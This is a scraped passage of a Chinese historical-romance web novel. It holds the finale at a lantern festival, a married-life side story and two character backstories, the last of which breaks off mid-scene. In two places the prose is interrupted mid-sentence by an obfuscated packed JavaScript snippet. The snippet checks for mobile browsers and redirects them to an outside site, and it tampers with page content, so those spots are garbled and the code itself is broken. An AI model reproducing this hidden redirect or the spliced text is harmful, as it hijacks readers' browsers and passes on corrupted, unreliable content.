直到被盯了好一会儿人,那张俊俏的侧脸噙着笑意回头,毫无疑问,这是张可以引得许多姑娘一眼停滞呼吸的脸,不过平日总是紧绷着才会让人因恐惧暂时忽略。 眼睛扫过她手里仍然空白的纸张,容潜道:“你等等。” “做什么?”千裔清仰着头望向已经起身的容潜,满脸疑惑,“你去哪儿?” 停住步伐,容潜淡然回头道:“哦,我去把街上的花灯全都买下来。” 这样她就不用为难了,想写多少愿望便写多少愿望。 这想法越想越觉得合理,容潜在心头又对自己赞同一番,抬腿要走。 “你站住!”千裔清忙扯上他的袖子,无奈扶额,“不用了,我已经想好了。” 说完,她扬了扬笔,背过身小心翼翼写下四个字,放进河灯中心。写下心愿后,千裔清两只手捧着河灯放在身前,朝容潜笑了笑:“我写好啦,一起放下去吧。” 河灯入水,像是知道她担忧似的,一阵风吹过,那只被她小心翼翼放入河里的莲花灯突然忽闪几下,河面上泛起一阵波澜,顺势打翻几盏河灯。 周围立刻一阵惊呼和叹气,正是那些被吹翻的河灯的主人。 这可不是什么好兆头! 然而千裔清放下去的河灯被吹了几下,流逝硬生生随着风向靠近容潜那只,摇晃了几下之后稳稳靠在它一侧。 风停了。 千裔清长出一口气,还好没有被打翻! 容潜忍不住笑道:“其实你不用这么紧张,你有什么心愿我都会替你实现的。” 对于她提出的要求,容潜从来都是说一不二,这一点无需质疑,千裔清心里也很清楚。 所以这个愿望并不是为她自己,是方才看着这张柔和含笑的脸,她心中陡然萌生的坚定不移的心愿。 千裔清抱膝蹲在河边,望着逐渐远去的两只河灯:“这个愿望可不是你说了算的。” 什么心愿还能是他做不到的? 容潜好奇了:“你写了什么?” “不告诉你!”千裔清挑眉,起身往回走。 石桥台阶上人影绰绰,容潜怕她瞧不清路跌倒大步追上,握上她的手才觉安心。 容潜轻咳一声:“也行,我马上派人将河灯全部打捞上来,待一盏一盏看完就知道你写了什么了。” “你敢!”千裔清一瞪眼,在他手心掐了下。 世上哪有这种无理取闹的人。 如深潭一般黑白分明的瞳孔暗了暗,容潜有些不确定地试探:“......莫非是为我许的心愿?” 又踏上几层台阶,转眼来到桥心中央,水面上拂过的微风带着凉意,在这盛夏分外清爽。 两只河灯不知是不是外头的纸勾着了,远远的看还能瞧见连在一起的影子。 千裔清一眼就瞧见了,心情愉悦地指着:“当然了!你看,咱们的河灯连在一起了!” 容潜笑了笑:“自然。” 因为这是他的心愿。 - 灯会进行着,转眼到了人最多的时候,原本分散在各处的人陡然朝向一处奔袭而去,赶趟儿。还算松快的长桥很快挤满了人。 远方的夜幕忽而炸开,璀璨的烟火在漆黑的夜空中闪着绚丽的颜色。 原来是有烟花看,所以众人才奔着去了。 “要不要去看?”容潜一边紧紧揽着她,一边开口询问。 千裔清摇了摇头:“不用了,这里也能看得到。” 话音刚落,戴着狐狸面具的少女被人群推着向前,停在千裔清身边时被脚下石阶绊了一下。千裔清眼疾手快地拉了她一把才让人没倒地。 “呼——”那少女松了口气,接着抬起头,疑惑的“嗯”了一声,“你们也在呀?” 声音很是熟悉,但千裔清一时没想起来在哪听过。 而后少女扯下脸上的面具,一张娇俏的小脸挂着笑展现在她们眼前。 “千姑娘,好久不见呀!”随后她微转目光看着一边的容潜,“还有......崇安王。” “阿染,跑这么快当心摔着!” 更为耳熟的男声紧随其后,不过他倒是没戴面具,那张宛若仙人的面容就这么展露在月色之下。 千裔清怔了怔:“云染姑娘?喻门主?” 一身月白长袍的男人踏着稳健的步伐来至面前,无奈地叹了口气:“再这么乱跑,下次灯会就不带你出来了!” “好啦,下次不会啦!”云染敷衍着,挽起喻景淮的胳膊说道,“你看!遇到老相识啦!” 喻景淮一脸不信地摇摇头,这才看着面前的两人,脸上挂着似笑非笑的表情:“这么巧,你们也出来逛?” 容潜扯了扯嘴角,有些嘲讽道:“你倒是乐得清闲,难为你那小徒弟还得替你收拾烂摊子。” 喻景淮不以为意道:“年轻人多磨练有什么不对?我像他这个年纪时都接管门派三年了。” 千裔清暗自诽腹,那可不是所有人都像你喻景淮一样有手段。 容潜也不与他争论,又道:“没想到你还敢留在坤京,不怕被人瞧见告诉皇兄来找你麻烦?” 喻景淮若有所指地看了一眼千裔清,故作惋惜道:“怎么说我也算是你们的媒人,一见面就说这些丧气话不大好吧?” 容潜冷哼一声:“本王所认识的喻景淮应该不会没事来这坤京闲逛,说吧,来做什么?” 喻景淮摊手:“其实也没什么,听说崇安王立下战功,想来齐光心情一定不错,我这个人睚眦必报,特意来给他添添堵,省得他过的太称心。” 千裔清有点不知道怎么评价,时隔这么久,喻景淮还在为当初容烨诱云染去十方国的事耿耿于怀,当真是小心眼儿,比容潜也不遑多让。 不过他说的添堵......怎么添? 容潜倒是立刻会意,提 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这些日子他一直克制着不去想,只是每到这种时候,他还是忍不住心下失落。 身边伴随的脚步倏然停下,千裔清跟着往回看,空旷的街上是他落寞的影子,邤长晦暗。 她问道:“怎么了?” 容潜抬头,沉叹一口气,跨出两步到她面前,微微低头凝视着千裔清:“赐婚的事我从没问过你是否愿意......” “怎么?我若说不愿意你便不娶我了?”千裔清故作不满道。 这表情引得容潜怔然,不知道自己是哪里说错了。 但他仔细想了一下,就算她真的说不愿意自己也是不会放弃这个念头的。 容潜有些懊恼,他不该问这个问题的。 问了又能如何,若听得他不想听的答案,岂不是徒增伤感? 好看的眉拧成一团,千裔清讶然发现,他攥紧的拳竟在轻颤。 也太容易当真了吧! 千裔清失笑,掌心覆上他的手背,安慰道:“好啦,跟你开玩笑的,我没有不愿意。” 这句安慰似乎也没起到什么作用,阴影下的表情仍是有些凝重。 末了,容潜再次抬起头:“那你为何......为何听到赐婚时露出那种不情愿的表情?” 那日的表情直到现在还深深刺在他心口,每每想起都觉得烦闷至极。 千裔清眨眨眼:“什么不情愿?” “难道不是?”容潜松了拳反握住她,认真而急切地望着她,“你若是觉得我哪里做的不好,哪里让你不满意了,都可以告诉我,我可以改!” “我真的没有不情愿。”千裔清拉着他的手晃了晃,“我只是觉得有些突然,一时没反应过来而已。” 成亲这种事她从来没想过的,即便知道会与他成婚,当圣旨真的降下来时,千裔清心头还是有很大的震撼和不实感,像是做梦一样。 像她这种人也会嫁人吗?像她这种人也配嫁给容潜吗? “真的?”他脸上还有点不信。 “真的!”她又道,“而且,陆离跟我说过的。” “陆离......”容潜低骂了一声,皱起眉头。 千裔清想了想,轻声问:“方才你不是问我写了什么心愿?” 她拉着容潜的手,一根一根掰开他握着的手指,宽大的手掌摊开在她眼前,掌心还有因为紧张而渗出的汗津。 葱白的手指就这样在月色下划过他的掌心,一笔一划,有些痒。 随着最后一笔落下,容潜的眉头彻底舒展开来,疑惑道:“万事顺遂?” “嗯。”千裔清点头,注视着他的双眼,一字一句,“希望我所珍视的人,万事顺遂。” 接着她把容潜的手指并拢合起,拍了两下塞回他怀里,笑道:“你呢?你写了什么?” 容潜盯着自己合紧的手指,手心中还带着她方才留下的触感,不舍得摊开,像是这样就能紧紧抓在手里。 他抬起下巴看向千裔清:“我的心愿,你已经看到了。” “嗯?我什么时候看到了?” 两只紧密相连的花灯在河面飘摇而过,历过风声后依靠得更近。 这便是他的心愿。 长相厮守。 87. 番外一 冬月初二,夜南的天冷的极早,头天夜里便下了一场大雪。 是今年的第一场雪。 清起时,窗外一片白茫茫的颜色,枝头打了一层雪霜,寒风一吹扑簌簌的往下落。 廊外的下人穿着棉衣扫去路上院落的积雪,屋里放着碳炉,倚在榻上的人穿着厚厚的貂裘,手里边还揣着汤婆子。 千裔清想过冬天会很难捱,只是没想到才刚入冬月就这样冷,若是再晚几日,岂不是连房门都出不得了。 想到这里就忍不住叹气,恰巧房门响了两声,轻快的脚步从门口传来。 祝音一边解下狐裘,一边提着食盒快步走近。 见人又是这般犯懒似的倚在榻上,祝音撇撇嘴:“千千姐姐,你怎么又倚在这看话本啊?好没意思的!” 千裔清掀起眼皮扫过她,懒洋洋道:“不然呢,我这身子若是出门,还不够给人添麻烦的。” 祝音歪头盯着千裔清的腿膝看了一会儿,犹豫道:“真就没得治了?” 千裔清没接茬,话锋一转:“祝伯父可好?” 没想到他们一家还是回到了坤京,据祝音所说是祝继明耐不住他那唯一的宝贝儿子祝纶受不住那乡野生活,非要回来不可。 见祝音没反对,又不似有什么不快,一家便又搬迁至此。 祝音轻车熟路地打开食盒,先往自己嘴里塞了块牛乳菱粉香糕。 入冬以后她几乎日日来,早就习惯了。 “挺好的。”祝音含含糊糊地咽下一口,又道,“啊......也不是很好,这几日他忙着同哥哥置气呢!” 千裔清好奇道:“他又怎么了?” 祝音也很是头疼地撇撇嘴:“看上了青楼里的歌妓,吵着闹着要娶回家,爹爹被气个半死,何姨娘也是整日哭的死去活来,骂他不争气呢!” 想想也是,小门小户的女子人家何若云都瞧不上,更别说是青楼妓馆的姑娘了,这要是娶回家里,以后非但要遭人非议,这脸上也是挂不住。 不过说实在的,以祝纶这空有一副好皮囊旁的概不成器的德性,恐怕也寻不着能让何若云看得上眼的姑娘。 反倒是祝音...... 千裔清有些犹豫,那个名字在祝音心里是个结,虽然她总是一副不在意的样子,千裔清知道,她忘不了的。 斟酌许久,千裔清委婉地开口:“祝纶是指望不上了,你年纪还小,是不是......” “你也想劝我嫁人吗?”祝音手指一顿,抬起头一眨不眨地望着千裔清,硬生生把她看得后半句话咽了回去。 千裔清道:“......也不是。” 祝音有些勉强的笑了笑:“其实我都明白的,就是因为知道他的选择,我才会跟爹爹一同离开坤京,就算是我最后能为他做的。” 说罢,她长出一口气,轻松道:“玉衡哥哥只是先我一步离开了,又没有同我和离,过些时候我还是要回到王府的,我可是璟王妃呀!” 千裔清叹了口气,抱歉道:“或许我应该早些告诉你的。” 祝音摇头:“没用的,纵是我从一开始就知晓这些也是劝不住他的,这点他和齐光哥哥很像。” 手炉在她怀里掉了个,祝音揣紧一些,探着头又问:“倒是你,成婚几个月了,崇安王待你好吗?” “好啊。”千裔清毫不犹豫,看了眼日头,快晌午了,她道,“他一大早就去了军营,估摸着也快回来了,反正你回去也没什么事,留下一起用膳吧?” “不了不了!”摆手的动作比拒绝的话来得更快,祝音嘴角抽了抽,“你家那大醋坛子把我当情敌来着,在这吃饭我会积食的!” 话说到这,祝音也不打算多留,整理好衣摆起身,一面自己系好披风。 突然想起了什么,祝音转过身:“瑶华公主产期似乎快到了,你呢?打算什么时候也给我生个小外甥呀?” 不提还好,一提起这事,千裔清不由自主地蹙眉,神情低落。 顿了顿,千裔清微微勾了勾唇角,抬起头道:“若有了打算自然会告诉你。” 祝音笑道:“好呀!那我可等着你们的好消息了!” 她也不是没想过,自古以来女子生育为男子传承香火都是自然,寻常人家也就算了,对皇族来说定是十分重要,若是没有,难免会遭人闲话。 可她的身体...... 祝音走了有一会,房里也静了有一会,院子里是被扫成一堆一堆的积雪。 空落的地面上带着冰冷的湿意。 邤长的人影解下披风,剪裁合体的黑色长袍带着外面空气中沾染的寒意,容潜卷了卷衣袖,发丝上还挂着些水雾,似是匆匆而归。 扫过桌上放着的食盒,容潜抿了抿唇,道:“她又来了?” “嗯。”千裔清兴致缺缺,“知道我自己在家没什么事做,特意来陪我说说话。” 容潜听出了点别的意思,以为她是在埋怨自己留她一个人在家。 他在千裔清身边坐下,抬起胳膊一勾,整个人都被他圈进臂弯:“军中事务处理的差不多了,剩下的我会交给陈开他们,往后时间我都在家陪你。” 千裔清仰起脸:“我不是这个意思。” “可我是这个意思,我想多陪陪你。”容潜笑着在她如玉般的额上轻吻,“你似乎不开心?” 千裔清戳了戳他的胸膛,无奈道:“又被你看出来了。” 还真是,什么都瞒不过他。 容潜理所当然地点点头:“自然,我是你夫君。” “说说看,为什么不开心?” 千裔清顾左右而言他:“嗯......就是觉得天气太冷。” 这番说辞显然不足以让容潜轻信。 他“嗯”了一声:“就因为这个?” 自然不只为了这么点事,还有别的,千裔清不知道怎么开口罢了。 琢磨了半天,她似是随意地问:“你喜欢孩子吗?” “不喜欢。” 没想到会得来这么干脆利落的答案,千裔清一时没反应过来,从他怀里抽开,满脸诧异地看着他。 容潜看着她淡淡重复了一遍:“不喜欢,怎么了?” “......哦、没事,就是随便问问。”这般回答陡然让千裔清心头一阵轻松,一块大石头落地,她故作惋惜道,“不喜欢就算了,那我可就不生了!” 容潜笑了笑,在她鼻尖轻刮一下:“不生便不生,做皇家的孩子有什么好的。” 千裔清还是有些担忧:“可若这样,其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199594|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人会议论你,说你娶了个不会传宗接代的女人。” “传宗接代这种事交给皇兄就好了,我又没有皇位给人继承。”容潜无所谓道,“你若怕人议论,我便传出话去,只说是我没有生育能力便好。” 他这番话说的实在太随性,像是在讨论什么无足轻重的人一般,千裔清被他这荒诞的说辞逗笑了。 她道:“恐怕传出去后,坊间百姓不会以为你不能生育,而是会以为你——不行。” “哦?”他嘴角挑起一个危险的弧度,目光灼灼落在千裔清脸上,“我行不行,你不是最清楚了吗?” 说罢,那张俊逸的脸蓦的靠近,贴在她耳廓轻咬而上。 千裔清立刻警觉地推搡,只是力道显得微不足道:“厨房还等着传膳呢!” “那就让他们等着,不急。” 婉拒的话和动作都没起到什么作用,温热的唇从耳边留连至颈下,每到一处都留下情和欲的颜色。 大手探进她衣下时还有些冰凉,温度让她忍不住瑟缩一下。 “凉......”一声嘤咛出口,千裔清横他一眼,“我饿了。” 容潜理直气壮地回应:“我也饿了。” 这么说着,他的动作并未停下。 显然他所说的饿同千裔清不是一种。 怀里的手炉滚落在地,披风被丢在案上,容潜屈起手臂从她身下勾上,轻轻一带便把人打横抱在怀里。 床幔落下,帘外的炭炉冒着袅袅暖意。 屋外寒风作着,屋内一室旖旎。 - 祝音再来拜访的时候恰逢容潜在家,一进院子就撞了个正着。 时光荏苒,祝音已经不在是那个不谙世事需要人护着的小姑娘,她已经学会独当一面,许多事都能够自己处理。 唯独这一见到容潜就不知所措的毛病分毫未改。 祝音讪笑着迎上容潜不善的目光:“我......我来陪姐姐说说话。” 容潜回头张望一眼紧闭的房门,转过头来:“再乱说话就拔了你的舌头。” “啊?”祝音茫然地问,“我说了什么?” 容潜冷哼一声没理她,径直出去了。 容潜有多了解千裔清,恐怕连千裔清自己都不清楚。 她的一颦一笑,一怒一哀落在他眼里都如同被拆解过一样,清晰分明。 那日从军营回来,他只瞧了一眼桌上的东西,又听千裔清没头没脑问那么一句,这就轻而易举联系起来,定是祝音提了什么。 千裔清的身子他清楚,在迎娶她之前,他早就想过万般可能。 他不介意,他也希望千裔清不要介怀。 这件事本来可以再拖许久的,没想到被祝音轻易勾起,倒惹得千裔清不开心。 一想起这事,容潜就觉得越看祝音越不顺眼。 祝音自然不明白容潜为什么对她的敌意只增不减,就像千裔清不明白为何今天的祝音这般沉默,一会儿尴尬的笑笑,一会儿吃两口糕点,可就是变得缄默了。 眼见着一层糕点清的干干净净,千裔清嘴角抽了抽:“......怎么没吃早饭就过来了?” 祝音仰头看了她一眼,而后垂下脑袋叹了一声,心道:以后还是少来崇安王府了。 88. 人物番外一 夜南,永光二十年。 千裔清入相府也有一段时日,一直跟在祝家小姐祝音身边侍奉。 好在祝音对奴婢没什么成见,待她又是极好,像是亲姐妹一般。 祝音待她像姐妹,可旁人就不好说了,譬如祝纶的母亲何姨娘。祝丞相偏爱,夫人又不管事,恰逢祝音跟着璟王去泛舟,府里上下可不就是何若芸最大,想着法子来刁难她。 不论她平日是侍奉谁的,这府里上下都算她的主子,主子说话自然不能不听。 采买的时本轮不到千裔清去做的,可人家何姨娘提了,她就得去。街上转了一溜够,天都黑了,可算买齐了何若芸要的那些乱七八糟的香粉胭脂。 秋时黄昏,千裔清提着东西往回走,小心护着胳膊上挂的提篮。 许是天气转凉,街上的人回去的早了,眼下长街已经空空落落。 号啕大哭的姑娘摸着花脸从她面前走过,千裔清看着那娇小的身影,又觉着街上不安全,担心她一个小姑娘出点什么事,便想上前去问问。 刚走两步,那姑娘倒是先朝这边看过来了,愣了片刻,又继续大哭起来。 吵得头疼。 千裔清皱了皱眉,拿出自己私心买的糖荔枝递过去:“给你。” 小姑娘怔然抬头,虽然哭花了脸,也不难看出模样不错,不过年纪太小,十四五岁的样子。 她犹豫了一下,没接:“给我这个做什么?” 千裔清笑了笑:“吃点甜的,别哭了。” 那小姑娘顿了一下,从怀里掏出一锭金块:“那......算我买你的。” 倒是也不值这么多钱......哪来的人傻钱多的小丫头。 但千裔清觉得犯不着跟钱过不去,毫不客气的收下揣进自己钱袋里。 上下打量一番,这丫头身上衣服配饰皆是不俗,千裔清问:“你是哪家的小姐,怎么自己在外面乱逛?还......” 还哭成这样。 不问还好,一问,这花脸小丫头又势不可止地大哭起来,边哭边断断续续地说:“景、景淮哥哥他......不要我了呜呜呜哇——” 千裔清:“......” 她只好剥了一颗,顺着她张开的小嘴塞进去一颗糖荔枝,小姑娘似乎被噎了一下,嚼了两口发现还挺好吃,便一时忘记哭了。 见人终于不哭了,千裔清满意地点头:“要不要我送你回去?” 她摇摇头,终于缓和一些情绪,失魂落魄道:“不用了......我家就在前面。谢谢你的糖荔枝。” 说罢,她揣着包裹摇摇晃晃走远了。 待人影消失不见,一声嗤笑从拐角传来,循声望去,一道月白色的身影缓缓出现,约莫二十出头,身材修长,气质非凡,尤其是那俊美的不像话的面容,饶是千裔清看了都难以转开目光。 好漂亮的男人,恐怕只有璟王能与之媲美,但这人比之璟王又缺了些生气,皮肤白皙的像许久不见日光似的。 而后他又冷然笑了一声拉她回神:“一包糖荔枝换一锭金子,不亏。” 声音也如仙人一般清透好听...... 可惜说的不是人话。 千裔清勾了勾唇角:“人家愿给,我愿意接,这似乎与你无关吧?” 男人屈起手指错开目光,噙着冷笑道:“你应该庆幸自己只是给了她一包糖荔枝,若是旁的,你已经死了。” 听他这话,似乎与方才那姑娘是旧识,此时出现在这里,倒像是一直跟在暗处保护她似的。 千裔清沉吟片刻:“你就是她口中说的——” “喻。”他出言打断,“喻景淮。” 嗯,不认识。 千裔清有些好笑地瞧着他:“你这人倒是有意思,既然关心那姑娘安危,为何还要惹哭人家,白白辜负那小丫头的一番情意。” 喻景淮道:“你没听说过我,总该听说过重云门。” “没听过。” 喻景淮怔了怔,终于意识到眼前这位女子只是普通百姓,并不理解江湖上的是非曲折。 也是他今日心情实在不佳,便有心思同她多说两句,也算是吐露一些苦闷。 他率先撩起衣摆倚着墙根的台阶席地而坐,指着距离自己两步远的地方:“坐。” 千裔清原本没想听他的,但见他一扫而过的余光似乎有点要拧断她脖子的意思,便清了清嗓子假装若无其事的坐在他稍远的位置。 喻景淮打量她一眼,问道:“你是祝继明府上的婢女?” 这人在江湖上似乎大有来头,瞧着也是很有手段的,与他争论隐瞒显然没什么意思。 千裔清颔首:“是。” 喻景淮不屑地笑了笑:“祝丞相家的千金可有婚配?” 这......祝音今年方才十三,尚未行及笄礼,怎会这么早就许人家? 她便答:“还未。” 喻景淮点点头:“你说,祝丞相会为祝家小姐许个怎样的人家?” 旁的不好说,但若是朝廷官员,总要许个配得上的。 千裔清想了想:“大概门当户对的吧。” “是啊。”喻景淮自嘲的一笑,拂去高墙上落在衣角的一片落叶,半黄半绿,看起来不甚好看。 他拿在手里把玩着,自顾自地说:“寻常人家尚且想攀高枝,富贵人家更是要求门当户对,云家虽非大贵,却也不是寻常百姓比得了的,你说,她凭什么要跟我这个江湖上人人喊杀的在一起?” “我树敌太多,跟了我只会陷入更多危险。” 最后一句实在是道尽太多无奈,千裔清这样的局外人都听得清清楚楚。 她默了片刻,轻声开口:“你喜欢她?” 喻景淮倒是很坦然,大大方方的承认:“喜欢。” 千裔清不解:“喜欢为什么还要说那些话惹她伤心?” 喻景淮瞥了她一眼,无奈道:“为了保护她。” 千裔清对此很难苟同,她语气笃定地反驳:“保护她,应该在她身边。” 喻景淮摇摇头:“我在她身边,只会害了她。” 千裔清提了提唇角:“喻公子方才提起重云门,我虽然不懂江湖结构但想必也是个大门派,喻公子这般厉害的人物,自然也不是寻常门派弟子,既然你有能力有手段,怎么在感情上却这么畏畏缩缩的,倒叫人笑话?” “哦?”喻景淮挑眉,饶有兴致地侧过身来,“姑娘这意思是觉得我懦弱无能?姑娘可有心仪的男子?” 她扬了扬下巴,理直气壮:“没有!” 喻景淮鲜少见人没有理气也壮的,见过的差不多都是在自己的剑下了,眼前这个或许是唯一一个活的。 喻景淮觉得没意思了,站起身来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223164|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡地背过身去:“既然如此,还是等姑娘有了心仪之人再来与我探讨这个问题吧。” - 千裔清回府的时候正赶上祝音从璟王的马车上下来,怀里捧着玉质的礼匣,八成又是璟王给她的小物件,逗她开心的。 同样在门口迎接的还有何姨娘,也只有这样的大人物来到家里,何若芸才会上赶着巴结,做出一副温婉贤淑的模样。 让人看了犯恶心。 千裔清冷冷收回目光,那不算善意的一眼却被何若芸给瞧见了,顿时气不打一处来,张嘴便训斥道:“让你买点东西,你可倒好买了一天!这么点小事都办不好,后院领罚去吧!” 祝音一见不妙慌忙上前:“何姨娘,千千姐姐是我房里的人,你本来就不该使唤她做事的!” 这话惹得何若芸柳眉倒竖,声调越发尖锐:“怎么?一个丫头而已,我连使唤都不能使唤了?” 祝音立刻争执着:“可是爹爹说过——” 何若芸嘲讽地一笑:“说过什么?我怎么不记得?” 千裔清听得直按额角,论吵架谁能吵得过她何若云啊! 她真想劝祝音算了。 “千千姑娘。” 一旁一直没开口的璟王却陡然发话了,简简单单的四个字,声音不大不小,却硬生生让众人都停下话头。 千裔清也没想到璟王会突然喊她,仰面对上高挑的男人,面若玉冠似的嫡仙人物,光是站在那里就带着让人无法忽视的尊贵气势。 她不敢僭越,垂下头老老实实行了一礼:“璟王殿下有何吩咐?” 璟王柔和一笑:“多日未见,千千姑娘的气色越来越好了,渺渺常在本王面前赞你,下次得空出门让渺渺也带上你,不知方便不方便?” 璟王这番话显然是帮祝音撑场面的,两三句话抬高了千裔清的身份,又给了何若芸一个难堪,最重要的是卖给祝音一个人情,只瞧祝音那一脸感激的表情就知道了。 祝音开心道:“好呀好呀!人多一点更热闹嘛!” 千裔清自是没理由不配合的,欠身谢过璟王。 璟王微微颔首,转身无视过何若芸又红又白的脸色,重新坐回车辇。 回到卧房,祝音捧着从璟王那里得来的小玩意兴高采烈的看,千裔清却在不断回想路上遇着的那人。 祝音看出她的心不在焉,好奇道:“怎么啦?是不是因为何姨娘为难你你生气啦?” 千裔清摇摇头,眨了眨眸子抬起头问:“恕城可有姓云的人家?” 云氏是极少见的姓氏,应该没几家才对。 祝音想了想,“哦”了一声:“有呀,好像是做茶叶生意的。你问这个做什么?” “随便问问。”千裔清搪塞过去,又问,“那你听说过重云门吗?” 问出这话她就后悔了,觉得自己多此一问,祝音一个朝廷重臣的千金,怎么会与江湖人士扯上关系。 谁道祝音却诧异地睁大眼睛:“千千姐姐你怎么会知道重云门呀?我也是听齐光哥哥说起的,听说重云门的门主是个神仙人物,齐光哥哥一直说想与他结交呢!” 不会吧...... 千裔清嘴角抽了抽:“门主......叫什么?” 祝音仔细回忆一番,道:“不记得名字了,只知道齐光哥哥总是喻门主喻门主的唤他,应该是——姓喻吧!” 89. 人物番外二 祝音十二岁的时候,余夫人的身体还算康健,除了何氏总是故意来讨嫌,日子过得总算不错。 女儿乖巧,总是顺应母亲的心意待在膝下,藏于闺阁,女工刺绣虽然学的不好,琴棋书画倒也还算过得去,加之有这么个丞相父亲庇护,总能嫁个好人家。 祝纶从国子监下学回家,何氏在饭桌上抑制不住的笑意,饭食进行一半,终是忍不住扫了一眼埋头扒饭毫不知情的祝音,勾起嘴角。 何若芸很是刻意地放下筷子,一边状若无意地为祝纶卷起本就并不累赘的袖边,一边道:“方才听你说起在课上又被先生夸赞了?” 祝纶则是偷偷观察父亲的表情,点头道:“先生说我很有天赋!” 何若芸笑眯眯的转头:“老爷,你看咱们律章多有出息!” 祝继明还没说话,余夫人先冷哼一声:“国子监这么多皇子公主,你沾了老爷的光送他去听学,还真当先生是在夸赞了?” 何若芸不屑地笑笑:“总比某些连书都看不懂的争气多了。” 说罢,她还刻意挑眉,目光落在祝音脸上,一晃而过。 女子向来是无需强求读书的,尤其是余夫人,她自己也觉得读书对祝音这种门户的没什么大用,多学些才艺岂非更好。 阴阳了几句之后,余夫人的教养自是不允许自己再说什么出格的话,于是丢了个眼神给祝继明,后者接到目光轻咳一声,轻斥一声少说两句,这件事也就翻篇了。 也是这样的场景几乎日日发生,何若芸也不急着在这一时争个你死我活。 晚饭之后,祝音在院子里逛了一会儿便回房去了,余夫人则是在自己房里转圈圈,没忍住,还是来了祝音这。 祝音托着腮正犯困,婢女刚为她卸下钗环。 余夫人盯着她的侧脸看着,这样娇憨可爱又听话乖巧的女儿,正是金钗之年。 余夫人屏退了婢女,把祝音叫到跟前:“渺渺,娘一直没问过你,你想读书吗?” 祝音想了想,老老实实道:“没想过。” 事实就是如此,她没觉得读书有什么好,也没觉得不读书有什么不好,只是没想过,从来都是爹娘说什么,她听什么,就像她所学的琴棋书画,她没觉得喜欢也没觉得不喜欢,只是学了,仅此而已。 余夫人顿了顿,又说:“你若是想读书,你爹爹也可以送你去和那些皇亲贵族一同去读书,就像你哥哥那样。” 祝音没回答余夫人的问题,而是反问道:“娘希望我去读书?” 还没等余夫人张嘴,祝音接着说道:“我不如哥哥那般能写出文章,对诗词歌赋又一窍不通,娘觉得我给您和父亲丢脸了是不是?” “渺渺!”余夫人脸上出现一瞬被猜透心思的尴尬,叹了口气,“渺渺这么聪明,怎么会给我们丢脸呢?” 就是有点说话太直了,若不是了解自家女儿,换作是谁都要以为祝音闹脾气了。 其实祝音对她这位哥哥也有些不满的,譬如前几日她在花园侍弄花草,祝纶指着一株牡丹卖弄几句诗文,她愣是一个字儿也没听懂,于是问上一句是什么意思,没想到祝纶只是撇撇嘴,面带讥讽的对她一连说了许多四个字的词语。 当然,她也没听懂。 只是从他的神情中隐约能够看出,一定不是什么好话。 祝音仰起脸,认真道:“娘觉得我可以去的话,便让我去吧!” - 相对其他人来说,祝音入学的确有些晚,这就意味着她需要补习的课更多。 也但晚也有晚的好处,例如不必和祝纶待在一个空间里学习。 听说新来的学子也是祝丞相家的,又不像祝家大公子那般难相与,许多想与祝家攀上关系的便转而放弃跟祝纶打交道,转为对祝音示好。 这其中就有五皇子——容烨。 不论是五皇子容烨、七皇子容泽,两人都和她想象中的皇族子弟完全不同,毫无皇室的架子,温谦有理,甚至是八皇子容骁,虽说性子急了点,但却是个很直爽的人。 容骁在祝音入学后没多久便不再来读书了,据说是明年要远赴战场,要说与谁的关系更好些,自然还是容烨和容泽。 祝纶对此极看不过眼,偏巧这天课上少了许多的人,原是宫里在筹备什么宴席,下学后,他便拦住了自家妹妹。 祝纶居高临下地晲着她,几乎是用鼻孔在看人,若不是这张脸还算俊俏,实在是很影响心情。 祝音只是皱皱眉,仰头问道:“律章哥哥要和我一起回家吗?” 奇怪了,往日他都是对自己避而不及,从不与她同乘一辆马车的。 祝纶“哼”了一声,捏着她的细腕便朝外走,拉到墙根儿下,他恶狠狠的先发制人:“你自己说,和五皇子他们说我什么了!” 说......什么了? 她对祝纶几乎是矢口不提的。 祝音疑惑道:“没有啊。” “那为什么自从你和他们打上交道,其他人也都甚少与我说话了?” 祝纶不信,他说得很隐晦,非但甚少和他交流,主要是往日那些会给他甜头的贵族公子们也不怎么理他,唯一的转变就是,他们不约而同地拥向了祝音。 冤! 祝音嘴角抽了抽,这实在和她没什么关系。 她刚想解释,祝纶却不肯听了,一边扯着她朝车厢走,一边怒斥:“我这就回去和爹说,看看他的好女儿如何在外人面前败坏我的名声!” “律章哥哥,真的不是我——”祝音拽了几下,握着她腕子的手丝毫未动,反倒收紧,扯的人生疼。 她沉下小脸,一口咬上祝纶的手背外侧。 这一下终于疼的祝纶蹦起来,迅速抽手回去。 待看清自己手上伤口,祝纶更是忿然:“你敢咬我?我替爹教训你——” 眼瞧着祝纶扬手要打她,祝音杏眼微睁,转身往回跑,身后是祝纶不住的叫骂声。 没跑出几步,迎面撞上了人,她自觉自己的冲劲儿也不算小,但对方愣是纹丝不动,稳稳扶过她立在自己身前。 祝纶的声音近在咫尺,祝音心道这下完了,肯定躲不过了! 干脆朝前头那人怀里缩去,若运气好,兴许能躲过一劫。 事实证明她运气的确不错,想象中的殴打并没落在自己身上,头顶是男人轻笑的呼吸声,宛若天籁的温润嗓音在耳畔环绕。 “祝大公子说要替祝丞相教训谁?” 祝纶的气势立刻弱了下去,磕磕绊绊道:“璟、璟王......” 璟王? 总听大家提起璟王容瑾,总听人家说他有多么多么好,祝音一直对他很好奇,只是从未见过,今日这是遇上本尊了? 